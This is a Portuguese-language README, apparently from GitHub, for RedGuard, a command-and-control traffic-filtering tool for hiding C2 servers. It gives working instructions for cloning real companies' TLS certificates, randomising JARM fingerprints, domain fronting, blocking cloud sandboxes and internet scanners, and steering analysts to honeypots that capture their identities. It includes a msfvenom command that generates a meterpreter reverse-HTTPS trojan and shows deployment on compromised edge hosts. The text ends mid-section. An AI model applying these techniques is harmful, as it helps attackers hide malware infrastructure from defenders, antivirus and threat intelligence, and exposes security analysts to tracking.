wikiz/redguardFerramenta de controle de fluxo frontal C2 com randomização de impressões digitais JA3/JARM, domain fronting, validação de perfil C2 maleável e lista de permissões de IP para evadir blue teams, AVs, EDRs e mapeamento do ciberespaço.
Inglês | 中文文档
RedGuard, uma ferramenta derivada baseada na tecnologia de controle de fluxo frontal de comando e controle (C2), possui um design mais leve, interação de tráfego eficiente e compatibilidade confiável com desenvolvimento na linguagem de programação go. Como os ataques cibernéticos estão em constante evolução, os exercícios de equipe vermelha e azul tornam-se progressivamente mais complexos, o RedGuard é projetado para fornecer uma melhor solução de ocultação de canal C2 para a equipe vermelha, que fornece o controle de fluxo para o canal C2, bloqueia o tráfego de análise "maliciosa" e completa melhor toda a tarefa de ataque.
RedGuard é uma ferramenta de controle de fluxo frontal C2 que pode evitar detecções da Blue Team, AVS, EDR e Mecanismos de Busca no Ciberespaço.
Você pode baixar e usar a versão compilada diretamente, ou baixar o pacote go remotamente para compilação e execução independentes.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Descrição da Configuração
## Inicialização
Conforme mostrado na figura abaixo, defina as permissões executáveis e inicialize o RedGuard. A primeira execução gerará um arquivo de configuração no diretório home do usuário atual para permitir uma configuração flexível das funcionalidades. Nome do arquivo de configuração: **.RedGuard_CobaltStrike.ini**.
**Conteúdo do arquivo de configuração:**
As opções de configuração do cert são principalmente para as informações de configuração da comunicação HTTPS criptografada por certificado SSL entre a amostra e a infraestrutura front-end do C2. O proxy é usado principalmente para configurar as opções de controle no tráfego de proxy reverso. O uso específico será explicado em detalhes abaixo.
A comunicação HTTPS criptografada por certificado SSL será gerada no diretório cert-rsa/ dentro do diretório onde o RedGuard é executado. Você pode iniciar e parar as funções básicas da ferramenta modificando o arquivo de configuração **(o número de série do certificado é gerado de acordo com o timestamp, não se preocupe com a associação a esta funcionalidade)**. Se quiser usar seu próprio certificado, basta renomeá-los para ca.crt e ca.key.```bash
openssl x509 -in ca.crt -noout -text
As impressões digitais TLS JARM aleatórias são atualizadas cada vez que o RedGuard é iniciado para evitar que isso seja usado para autenticar a infraestrutura C2.
No caso de usar seu próprio certificado, modifique o parâmetro HasCert no arquivo de configuração para true para evitar problemas de comunicação normais causados pela incompatibilidade do conjunto de criptografia CipherSuites com o certificado personalizado devido à randomização de ofuscação JARM.```bash
HasCert = false
### Certificados TLS forjados
Ao implantar um Domain Fronting para ocultar o tráfego C2, o nome de domínio acelerado não possui informações de certificado HTTPS por padrão. Isso é obviamente problemático, por isso você precisa prestar atenção à configuração do certificado ao configurar o nome de domínio. Este também é o padrão para determinar se a amostra é tráfego de front-end de domínio.
[^Tencent Cloud]: Configuração de Certificado da Rede de Distribuição de Conteúdo
Acredito que todos terão algumas perguntas após ler isto: **Como obter o certificado configurado? Se você usar seu próprio aplicativo para o certificado, isso não atenderá ao efeito de anonimato que esperamos.** Aqui você pode usar o certificado clonado para a configuração. Tomando a Tencent Cloud como exemplo, foi descoberto nos testes que ela não verifica a validade do certificado personalizado enviado. Podemos usar o mesmo certificado do site real do nome de domínio acelerado para forjá-lo. Embora o certificado forjado não consiga se comunicar ao substituir o certificado padrão do CS em circunstâncias normais, ele não terá sua validade verificada quando implantado na aceleração completa do site CDN do provedor de serviços em nuvem e no RedGuard, e o tráfego interativo C2 pode se comunicar normalmente.
**O seguinte é o endereço do projeto existente no Github**```bash
https://github.com/virusdefender/copy-cert
Embora o certificado no lado do tráfego front-end do domínio de exemplo tenha sido resolvido, do ponto de vista do mapeamento de rede em larga escala, nosso servidor C2 ainda está exposto ao mundo exterior e ainda pode ser detectado e associado ao servidor C2 real. Nesse momento, o RedGuard pode ser usado para modificar o certificado padrão de fronting do C2 para obter anonimato.
[^informação de inteligência]: Certificados TLS
Acima está o efeito do certificado forjado do servidor C2. Pode-se ver que é confiável e não expirou na inteligência da comunidade Threatbook. A principal forma de obter o certificado digital é extraí-lo e atualizá-lo em tempo real durante a análise de amostras na sandbox em nuvem, mas obviamente não é verificado de forma eficaz. O valor do status apenas verifica o tempo de expiração. A verificação de confiança do certificado deve basear-se apenas na possibilidade de comunicação normal.
Deve-se notar que a inteligência Threatbook não marca os endereços SNI e HOST das requisições de amostras com inteligência de certificado. Isso é, na verdade, para evitar falsos positivos. Acredito que isso seja correto. Como base importante para auxiliar pesquisadores na análise, a inteligência de ameaças é melhor ser incompleta do que apontar na direção errada, o que causaria julgamento incorreto em análises posteriores. Se configurar certificados para aceleração total do site é forjar certificados para o tráfego de comunicação, então configurar o certificado de pré-resposta do RedGuard C2 é forjar as características comportamentais do servidor C2 real implantado na rede pública para obter efeitos anti-mapeamento, o que é muito necessário.
Extraia o número de série do certificado: 55e6acaed1f8a430f9a938c5 e faça a codificação HEX para obter a impressão digital do certificado TLS: 26585094245224241434632730821
Quantidade de Resultados da Pesquisa: 2291
Através do mapeamento do ciberespaço, foram descobertos 2.291 endereços IP independentes, e a verificação confirmou que todos possuíam certificados TLS pertencentes à Baidu. É difícil determinar se é uma comunicação maliciosa baseando-se apenas no tráfego de comunicação. No entanto, os certificados TLS para as instalações de tráfego front-end do domínio + C2 foram forjados, interferindo com sucesso no mapeamento espacial e na inteligência de ameaças, causando associação incorreta de informações, tornando as características de tráfego do atacante mais realistas e alcançando o objetivo de forjar tráfego de comunicação normal.
Mesmo que não haja processamento de encaminhamento oculto antes da instalação front-end do tráfego C2, é melhor alterar o certificado do RedGuard. Por padrão, qualquer biblioteca de impressões digitais formada pela identificação de impressões digitais de componentes comuns atualmente usados no mapeamento do ciberespaço usa o comportamento das características de configuração padrão de componentes comuns para identificação. Diferentes grupos podem exibir diferentes características únicas durante esses processos de personalização. Claro, a formação de impressões digitais requer um certo entendimento do componente alvo, de modo a extrair as características padrão do alvo e formar uma impressão digital associada. Aqui, as características comportamentais do certificado RG são usadas para mapeamento do ciberespaço, que é associado a um grande número de nós RG implantados na rede pública.
Não surpreende que o autor conseguiu extrair a impressão digital, mas ainda assim é recomendado que os usuários do RedGuard modifiquem as informações do certificado padrão e sejam hackers profissionais:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. Você pode usar o comando de parâmetro para modificar o arquivo de configuração. Claro, acho que pode ser mais conveniente modificá-lo manualmente com vim.**
# 0x03 Uso da ferramenta
## interceptação básica
Se você acessar diretamente a porta do proxy reverso, a regra de interceptação será acionada. Aqui você pode ver o diretório raiz da solicitação do cliente através do log de saída, mas como a solicitação não carrega as credenciais solicitadas, ou seja, o cabeçalho de solicitação HOST correto, a regra de interceptação básica é acionada e o tráfego é redirecionado para <https://360.net>
Aqui é apenas uma demonstração da saída; na prática, pode ser executado em segundo plano através de `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Não é difícil perceber pelo trecho acima que 360.net está sendo proxyado para a porta local 8080, 360.com está sendo proxyado para a porta local 4433, e o protocolo HTTP utilizado também é diferente. No uso real, é necessário prestar atenção ao tipo de protocolo do listener. Consistente com as configurações aqui, e definir o cabeçalho de requisição HOST correspondente.
Conforme mostrado na figura acima, no caso de acesso não autorizado, a informação de resposta que obtemos também é a informação de retorno do site redirecionado.
No caso de interceptação básica acima, o método de interceptação padrão é usado, o tráfego ilegal é interceptado por redirecionamento. Ao modificar o arquivo de configuração, podemos alterar o método de interceptação e a URL do site redirecionado. Na verdade, em vez de chamar isso de redirecionamento, acho que pode ser mais apropriado descrevê-lo como sequestro, clonagem, já que o código de status de resposta retornado é 200, e a resposta é obtida de outro site para imitar o site clonado/sequestrado o máximo possível.
Pacotes inválidos podem ser roteados incorretamente de acordo com três estratégias:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** no arquivo de configuração aponta para o endereço URL sequestrado. O RedGuard suporta "mudança a quente", o que significa que enquanto a ferramenta está rodando em segundo plano através do `nohup`, ainda podemos modificar o arquivo de configuração. O conteúdo é iniciado e interrompido em tempo real.```bash
./RedGuard -u --drop true
Lembre-se de que, ao modificar o arquivo de configuração pela linha de comando, a opção -u não deve faltar, caso contrário, o arquivo de configuração não pode ser modificado com sucesso. Se precisar restaurar as configurações padrão do arquivo de configuração, basta inserir ./RedGuard -u.
Outro método de interceptação é o DROP, que fecha diretamente a resposta da comunicação HTTP e é habilitado definindo DROP = true. O efeito específico da interceptação é o seguinte:
Pode-se ver que o controle de fluxo frontal do C2 fecha diretamente a resposta para requisições ilegais sem o código de resposta HTTP. Na detecção de mapeamento cibernético, o método DROP pode ocultar a abertura de portas. O efeito específico pode ser visto na análise do caso a seguir.
Acredito que muitos usuários se interessarão por sequestro de respostas. O princípio geral é que, quando o cliente inicia uma requisição ao servidor C2 real, como não atende às regras de entrada, o servidor C2 obtém o site normal especificado e retorna suas informações de resposta. Portanto, do ponto de vista do efeito da requisição, parece estar interagindo com o serviço IP, mas na verdade, o servidor C2 intermediário é usado como um servidor proxy para interagir com o site normal, sendo difícil encontrar anormalidades. Se a requisição atender às regras de entrada, a requisição de tráfego será encaminhada para a porta de escuta do serviço C2 real para interação, e a porta de escuta real foi filtrada pelo firewall em nuvem, permitindo apenas acesso local, e não pode ser acessada diretamente de fora. Portanto, do ponto de vista da abertura de portas externas, apenas a porta HTTP/S está aberta e, em certo sentido, esta é de fato a porta online do C2.
[^Fluxograma de tráfego]: Processo de interação de tráfego do servidor C2
Nos dados de mapeamento cibernético, o código de resposta da porta HTTP/S aberta do IP é 200, não um redirecionamento 307, o que é mais autêntico.
O certificado HTTPS tem o mesmo efeito que o certificado falsificado mencionado acima, e ambos são impressões digitais de certificados reais.
Acredito que muitas equipes vermelhas usarão amplamente métodos de ocultação como funções em nuvem/domain fronting no processo de projetos de combate. No entanto, na atual confrontação ofensiva e defensiva, os dois métodos de ocultação acima têm um problema fatal: eles podem conectar-se diretamente ao serviço C2. O resultado é, sem dúvida, que quando capturamos o endereço da função em nuvem ou o IP/HOST interativo do domain fronting, podemos acessar diretamente o serviço de escuta do C2 e provar que é uma instalação de ataque.
Como o tráfego pode chegar diretamente ao C2, vale a pena considerar se o dispositivo de segurança pode realizar varreduras CS no tráfego que não corresponde ao SNI e HOST para identificar se é tráfego malicioso. O mesmo vale para funções em nuvem ou ambientes sandbox. Além do lado da amostra, pode haver também processos de análise em nível de tráfego.
Após o sequestro da resposta, o acesso direto ao serviço HTTP pode interagir normalmente com o site, mas o Cscan não consegue escanear as informações da amostra porque o tráfego não consegue alcançar o ouvinte real do C2. A interação normal do C2 só é possível quando as características de iniciação do tráfego são atendidas. No entanto, há um problema. O script de varredura do C2 precisa cumprir as regras de entrada, o que coloca um certo teste na capacidade de codificação dos analistas da equipe azul. O script de varredura atualmente público está na forma do Nmap.
O JA3 fornece uma impressão digital mais reconhecível para comunicações criptografadas entre clientes e servidores. Ele usa impressões digitais TLS para identificar negociações TLS entre clientes e servidores maliciosos, alcançando assim o efeito de associar clientes maliciosos. Essa impressão digital é fácil de gerar em qualquer plataforma usando criptografia MD5 e é atualmente amplamente utilizada em inteligência de ameaças. Por exemplo, pode ser vista em relatórios de análise de amostras de alguns sandboxes para provar a correlação entre diferentes amostras.
Se conseguirmos dominar o JA3(S) do servidor C2 e do cliente malicioso, mesmo que o tráfego seja criptografado e o endereço IP ou nome de domínio do servidor C2 seja desconhecido, ainda podemos identificar a negociação TLS entre o cliente malicioso e o servidor por meio da impressão digital TLS. Acredito que todos possam pensar nisso ao ver isso, o que também é uma medida para lidar com métodos de ocultação de encaminhamento de tráfego como domain fronting, proxy reverso e função em nuvem. Através da execução da amostra no sandbox, identificação e negociação TLS de comunicação C2 e geração de impressões digitais JA3(S), que podem ser aplicadas à inteligência de ameaças para alcançar rastreamento auxiliar.
Anunciei essa tecnologia em 2022. Ao testar o ambiente sandbox do micro-step, descobri que, embora o número de IPs de saída solicitando interação fosse pequeno, não era preciso identificar o sandbox pelo IP, e essa era uma característica facilmente alterável, mas sua impressão digital JA3 era única no mesmo ambiente de sistema. Posteriormente, recebi feedback de que o sandbox havia completado a randomização de impressões digitais, mas testes recentes descobriram que não foi totalmente implementada. Ainda espero enfrentar o problema das impressões digitais no lado do tráfego.
Do ponto de vista do sandbox em nuvem, monitorando a interação de tráfego entre a amostra e o servidor C2, a impressão digital JA3(S) é gerada para identificar o cliente malicioso e, assim, fazer uma associação. Pensando ao contrário, como uma instalação de controle de tráfego na frente do C2, também podemos realizar tais operações para obter a impressão digital JA3 da requisição do cliente. Depurando diferentes ambientes sandbox, essas impressões digitais JA3 são obtidas para formar uma biblioteca de impressões digitais, formando assim uma estratégia básica de interceptação.
Imagine que, no processo de interação do Trojan em estágios, o loader primeiro puxará o shellcode do endereço remoto. Então, quando o tráfego identificar que a requisição atende às características do sandbox em nuvem da biblioteca de impressões digitais JA3, ele interceptará as requisições subsequentes. Se o shellcode não puder ser obtido, todo o processo de carregamento não pode ser concluído, e o sandbox naturalmente não pode analisá-lo completamente. Se o ambiente for um Trojan sem estágios, a análise do sandbox também não conseguirá ser finalmente carregada no servidor C2. Acredito que todos já acordaram de um sono e encontraram muitos registros de sandbox de longa duração pendurados no C2. Claro, em um estado ideal, podemos identificar diferentes ambientes sandbox, o que depende principalmente da confiabilidade da biblioteca de impressões digitais.
Durante o teste, descobri que, após adicionar a impressão digital JA3 da biblioteca de requisição em linguagem GO do ZoomEye à biblioteca de impressões digitais e monitorar o tráfego de requisição do RG, a maioria das requisições acionou a interceptação básica da característica da biblioteca de impressões digitais JA3. Aqui, suponho que a linguagem subjacente do produto de mapeamento faz parte da tarefa de varredura implementada em linguagem GO. Através de um link, a lógica de varredura composta por diferentes linguagens subjacentes finalmente completou toda a tarefa de varredura. Isso também explica por que a varredura de alguns produtos de mapeamento acionou a característica de interceptação de impressão digital JA3 da biblioteca de requisição em linguagem GO. O princípio da regra de reconhecimento é o mesmo que o da impressão digital do sandbox em nuvem. Ambos usam a exclusividade do ambiente do cliente de requisição e da biblioteca de requisição. Diferente do lado do PC, o ambiente de requisição desses produtos basicamente não será alterado arbitrariamente, o que também nos permite capturar sua impressão digital no lado do tráfego e interceptar, então podemos pensar se o dispositivo de segurança pode usar a impressão digital JA3 do tráfego de detecção ativa como base para interceptação? Claro, quando o tráfego de negócios é grande, pode haver uma certa quantidade de falsos positivos. Aqui, propomos apenas requisitos de produto teoricamente viáveis.
P.S. Os usuários também podem enviar amostras para o sandbox para obter e verificar suas impressões digitais JA3 e adicioná-las à biblioteca de impressões digitais. Deve-se notar que não faz sentido se o sandbox apenas alterar a impressão digital JA3 para não ser a impressão digital acima. O que realmente precisa ser resolvido é que, cada vez que o sandbox realiza análise dinâmica, não é a mesma impressão digital, e suas alterações precisam atender aos requisitos de não repetir tanto quanto possível. Se a taxa de repetição for alta, ainda será usada como impressão digital.
Atualmente, suporta a identificação e interceptação do sandbox em nuvem Threatbook como demonstração de efeito.
A configuração dos dois parâmetros a seguir no arquivo de configuração permite alterar a porta do proxy reverso. Recomenda-se usar a porta padrão de ocultação, desde que não entre em conflito com a porta atual do servidor. Se for necessário modificar, preste atenção para não faltar o : do valor do parâmetro.```bash
Port_HTTPS = :443
Port_HTTP = :80
## Logs do RedGuard
O comportamento de rastreamento da equipe azul é analisado através do log de interceptação da requisição alvo, que pode ser usado para rastrear eventos/problemas de conexão entre pares. O arquivo de log é gerado no diretório onde o RedGuard está sendo executado, **nome do arquivo: RedGuard.log**.
## RedGuard Obter o endereço IP real
Esta seção descreve como configurar o RG para obter o endereço IP real de uma requisição. Você só precisa adicionar a seguinte configuração ao perfil do dispositivo C2; o endereço IP real do alvo é obtido através do cabeçalho da requisição X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
O método de configuração toma AllowLocation = Jinan, Beijing como exemplo. Observe que o RedGuard fornece duas APIs para atribuição reversa de IP, uma para usuários na China continental e outra para usuários fora da China continental, podendo atribuir dinamicamente qual API usar de acordo com o nome de domínio geográfico de entrada. Se o alvo for a China, use nomes em chinês para a região definida; caso contrário, use nomes de lugares em inglês. Recomenda-se que usuários na China continental usem nomes em chinês, pois assim a precisão da atribuição e a velocidade de resposta da API obtida por consulta reversa são as melhores opções.
P.S. Usuários da China continental, não usem AllowLocation = Jinan,beijing dessa forma! Não faz muito sentido, o primeiro caractere do valor do parâmetro determina qual API usar!```bash
AllowLocation = *
Antes de decidir restringir a região, você pode consultar manualmente o endereço IP através do seguinte comando.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Aqui definimos para permitir apenas que a região de Shandong fique online
Tráfego legal:
Área de requisição ilegal:
Em relação às conexões de restrições geográficas, pode ser mais prático no atual exercício ofensivo e defensivo. Basicamente, os alvos de restrições de exercícios ofensivos e defensivos provinciais e municipais estão em áreas designadas, e o tráfego solicitado por outras áreas pode naturalmente ser ignorado. Esta função do RedGuard pode não apenas limitar uma única região, mas também limitar múltiplas regiões de conexão de acordo com províncias e cidades, e interceptar o tráfego solicitado por outras regiões.
Além da lista negra de IP embutida dos fornecedores de cibersegurança no RedGuard, também podemos restringir de acordo com o método de lista de permissões. Na verdade, também sugiro que durante a penetração web, possamos restringir os endereços IP online de acordo com a lista de permissões para dividir múltiplas formas de endereço IP.```bash
AllowIP = 127.0.0.1
Conforme mostrado na figura acima, restringimos apenas as conexões do 127.0.0.1, então o tráfego de solicitação de outros IPs será bloqueado.
## Bloqueio baseado em período de tempo
Esta função é mais interessante. Definir os seguintes valores de parâmetros no arquivo de configuração significa que o recurso de controle de tráfego só pode se conectar das 8:00 às 21:00. O cenário de aplicação específico aqui é que, durante o horário de ataque especificado, permitimos a comunicação com o C2 e permanecemos em silêncio em outros momentos. Isso também permite que as equipes vermelhas tenham uma boa noite de sono sem se preocupar com alguma equipe azul de plantão à noite que esteja entediada analisando seu Trojan e então acorde para algo indescritível, hahaha.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
O RedGuard usa o perfil Malleable C2. Ele analisa a seção fornecida do arquivo de configuração extensível para entender o contrato e passar apenas as requisições de entrada que o satisfazem, enganando outras requisições. Partes como http-stager, http-get e http-post e seus uris, cabeçalhos, User-Agent etc. correspondentes são usadas para distinguir requisições legítimas de beacon de ruído irrelevante da Internet ou pacote fora dos limites de IR/AV/EDR.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
O perfil escrito por 风起 é recomendado para uso:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Personalizar Campos de Resposta para Exclusão
No Cobalt Strike 4.7+, o Teamserver remove automaticamente o cabeçalho Content-Encoding sem qualquer notificação, potencialmente causando uma violação do malleable http-(get|post).server. Além disso, se não houver Content-type na mensagem de resposta do CS Server, mas após ser encaminhada pelo RedGuard, o Content-Type é adicionado ao cabeçalho da mensagem de resposta, fazendo com que o cf armazene a página em cache e cause interferência.
Após o RedGuard 23.08.21, foi adicionada a função de personalizar o cabeçalho do pacote de resposta. Os usuários podem personalizar e excluir as informações de cabeçalho no pacote de resposta modificando o arquivo de configuração para resolver o problema de análise incorreta.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
O RedGuard 23.05.13 atualizou a função de reconhecimento de impressão digital de amostras de trojan, que se baseia na personalização do campo HTTP Header do Malleable Profile como o “sample salt value” para identificar exclusivamente o mesmo C2 listener/Header Host. Além disso, a impressão digital da amostra de trojan gerada combinando outros campos de requisição relevantes pode ser usada para detectar a vivacidade da amostra customizada. De acordo com os requisitos de tarefa do atacante, a função de reconhecimento de impressão digital de amostras de trojan pode realizar uma “offline operation” nas amostras que você deseja desabilitar, para melhor evadir a análise de tráfego malicioso da comunicação da amostra e a análise de aquisição de payload da amostra em estágios PAYLOAD, e fornecer medidas de ocultação mais personalizadas para o atacante.
Para diferentes listeners C2, podemos atribuir apelidos diferentes às configurações do Malleable Profile, personalizar os nomes e valores dos campos dos cabeçalhos relacionados como o sample salt value, e usá-lo como um dos critérios de distinção entre diferentes amostras. O código a seguir é para fins de ilustração e, em cenários reais de ataque e defesa, podemos usar campos de pacotes de requisição HTTP mais realistas como base para julgamento.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**
**Tráfego HTTP**
Conforme mostrado na figura, usamos o valor de Salt do exemplo acima e o campo Host como base para a geração da impressão digital. Aqui sabemos:
- **Salt Value：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
De acordo com a concatenação dos valores acima, a impressão digital do exemplo é obtida da seguinte forma:
**```bash
22e6db08c5ef1889d64103a290ac145c
Agora que conhecemos a impressão digital de amostra acima, podemos definir o campo de cabeçalho personalizado e a impressão digital de amostra no arquivo de configuração do RedGuard para interceptação de tráfego malicioso. Vale notar que podemos estender múltiplas impressões digitais de amostra, separadas por vírgulas, e o FieldName precisa ser consistente com o nome do campo de cabeçalho configurado no Malleable Profile
Como o arquivo de configuração do RedGuard é uma configuração ativa, não precisamos reiniciar o RedGuard para interceptar as amostras que queremos desabilitar. Quando quisermos reativar a amostra, basta excluir a impressão digital de amostra relevante do arquivo de configuração do RedGuard.
Efeito de demonstração:
Se houver um problema com o método acima, o servidor C2 online real não pode ser diretamente interceptado pelo firewall, porque a solicitação real de balanceamento de carga no proxy reverso é feita pelo IP do fabricante do servidor em nuvem.
Em combate único, podemos definir uma regra de interceptação no firewall do servidor em nuvem.
Em seguida, defina o endereço apontado pelo proxy para https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
E como nossa verificação básica é baseada no cabeçalho da requisição HTTP HOST, o que vemos no tráfego HTTP também é igual ao método de domain fronting, mas o custo é menor, e apenas um servidor em nuvem é necessário.
Para as configurações do listener, o `HTTPS Port (C2)` é configurado como a porta do proxy reverso do RedGuard, e o `HTTPS Port (Bind)` é a porta real de conexão da máquina local.
## Metasploit
**Gera Trojan**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Claro, como um cenário de domain fronting, você também pode configurar seu LHOST para usar qualquer nome de domínio do CDN do fabricante, e preste atenção para definir o HttpHostHeader para corresponder ao RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
É importante notar que a definição `OverrideRequestHost` deve estar definida como `true`. Isto deve-se a uma funcionalidade na forma como o Metasploit processa pedidos HTTP/S recebidos por predefinição ao gerar configuração para payloads de staging. Por predefinição, o Metasploit usa o valor do cabeçalho `Host` do pedido recebido (se presente) para a configuração do segundo estágio em vez do parâmetro `LHOST`. Portanto, a fase de construção é configurada para enviar pedidos diretamente para o seu nome de domínio oculto porque o CloudFront passa o seu domínio interno no cabeçalho `Host` dos pedidos encaminhados. Isto claramente não é o que estamos a pedir. Usando o valor de configuração `OverrideRequestHost`, podemos forçar o Metasploit a ignorar o cabeçalho `Host` recebido e, em vez disso, usar o valor de configuração `LHOST` que aponta para o domínio de origem do CloudFront.
O listener está definido para a porta de linha real que corresponde ao endereço para o qual o RedGuard realmente encaminha.
O RedGuard recebeu o pedido:
## Mapeamento de pesquisa cibernética
Como mostra a figura abaixo, quando a nossa regra de interceção está definida como DROP, a sonda do sistema de mapeamento espacial irá sondar o diretório / da nossa porta de proxy reverso várias vezes. Em teoria, o pacote de pedido enviado pelo mapeamento é falsificado como tráfego normal como mostrado. Mas após várias tentativas, como a assinatura do pacote de pedido não atende aos requisitos de liberação do RedGuard, todas recebem resposta Close HTTP. O efeito final exibido na plataforma de mapeamento é que a porta de proxy reverso não está aberta.
O tráfego mostrado na figura abaixo significa que, quando a regra de interceção está definida como Redirect, descobriremos que, quando a sonda de mapeamento recebe uma resposta, ela continuará a sondar o nosso diretório. O User-Agent é aleatório, o que parece estar de acordo com pedidos de tráfego normal, mas ambos foram bloqueados com sucesso.
**Plataforma de mapeamento - Efeito do modo de interceção de resposta Hijack:**
**Plataforma de mapeamento - efeito da interceção de redirecionamento:**
## Domain fronting
O RedGuard suporta Domain fronting. Na minha opinião, existem duas formas de apresentação. Uma é usar o método tradicional de Domain fronting, que pode ser alcançado definindo a porta do nosso proxy reverso no endereço de origem da aceleração em todo o site. Na base original, a função de controlo de tráfego é adicionada ao Domain fronting, e pode ser redirecionada para o URL especificado de acordo com a definição que definimos para parecer mais real. É importante notar que a definição do cabeçalho HTTPS HOST do RedGuard deve ser consistente com o nome de domínio da aceleração em todo o site.
Em combate individual, sugiro que o método acima pode ser usado, e em tarefas de equipa, também pode ser alcançado através de "Domain fronting" auto-construído.
No Domain fronting auto-construído, mantenha múltiplas portas de proxy reverso consistentes, e o cabeçalho HOST aponta consistentemente para a porta de escuta real do servidor C2 do backend. Desta forma, o nosso verdadeiro servidor C2 pode ser bem ocultado, e o servidor do proxy reverso só pode abrir a porta de proxy configurando a firewall.
Isto pode ser alcançado através de múltiplos servidores de nó, e configurar múltiplos IPs dos nossos nós no IP online HTTPS do listener CS.
## Armadilha maliciosa de honeypot
**O princípio da captura maliciosa de honeypot depende principalmente da função de resposta de sequestro ou redirecionamento da orientação de tráfego RG, que orienta os analistas que estão a avaliar instalações C2 para o endereço da sandbox do honeypot. No estado de resposta de sequestro, o RG direcionará o tráfego de pedido que não cumpre as regras de entrada para os ativos do honeypot.** Quando encontra alguns honeypots mais poderosos (como os que capturam números de telemóvel dos operadores), o cliente iniciará um pedido de acordo com a resposta do site alvo e será sequestrado por jsonp para obter informações relevantes.
Imagine que, quando os analistas acedem diretamente à porta online C2, serão direcionados para o ativo do honeypot, o que sem dúvida causará perturbação aos analistas. Os analistas são maliciosamente direcionados para solicitar o ativo do honeypot, e o terminal de monitorização do honeypot captura as informações relevantes dos analistas da equipa azul e rastreia o erro. Se o alvo da análise estiver errado desde o início, como pode obter um bom resultado? Isto sem dúvida causará graves atritos internos para a equipa de defesa.
**Aqui está um conjunto de impressões digitais ZoomEye associadas a ativos de honeypot:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
A maneira de conseguir esse efeito é muito simples, você só precisa alterar os valores das chaves relevantes no arquivo de configuração RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. Acredito que todos saibam como configurar sem explicação :)**
Este método é uma espécie de truque astuto, que se reflete mais na ideia. Se for mais utilizado, a função de captura de honeypot pode ser implantada no dispositivo de controle de tráfego front-end do C2 e, em seguida, o tráfego interativo pode ser direcionado. O efeito é que os dados de cache do navegador do cliente podem ser obtidos como em um honeypot tradicional. No entanto, sinto pessoalmente que, na versão pública, pode não fazer sentido aplicá-lo ao atual confronto ataque-defesa. Não faz sentido o atacante capturar informações sociais do analista da equipe azul e depois rastreá-lo. Claro, recuando um passo, isso pode tornar a análise de amostras de C2 mais perigosa. Quando o atacante dos setores negro e cinza pode obter a identidade virtual do analista, se as identidades virtual e real puderem ser convertidas, ainda é relativamente perigoso. **Portanto, penso que a pesquisa e análise futuras devem ser mais cautelosas e vigilantes.**
## Tráfego C2 baseado na interação de links de nós de borda
No cenário de confronto ataque-defesa, a maioria das redes de unidades ainda se baseia na defesa de borda. Aqui consideramos um cenário onde os servidores externos na área DMZ são frequentemente configurados com políticas de acesso relevantes em um ambiente de negócios normal. Nesse momento, quando os servidores externos na borda podem acessar a rede mas não podem acessar diretamente o host da intranet, e os PCs ou servidores relacionados na intranet não acessam diretamente a rede pública, mas podem acessar os servidores de negócios na área DMZ, então posso usar o host do nó de borda como um nó RG para transferir o tráfego online da intranet para nossas instalações C2. Parece muito semelhante ao proxy convencional de transferência online? No entanto, isso é apenas uma forma de exibição da implementação da habilidade. Vamos continuar vendo mais TIPS.
Quando derrubamos um host de borda durante o processo de gerenciamento, supondo que tenhamos assumido as permissões de Shell, implantaremos o RG neste servidor como nosso nó front-end **(em cenários reais, os arquivos de configuração são hard-coded no programa, e até o cavalo de Troia e o RG são combinados no mesmo programa)**.
**O arquivo de configuração é o seguinte:**
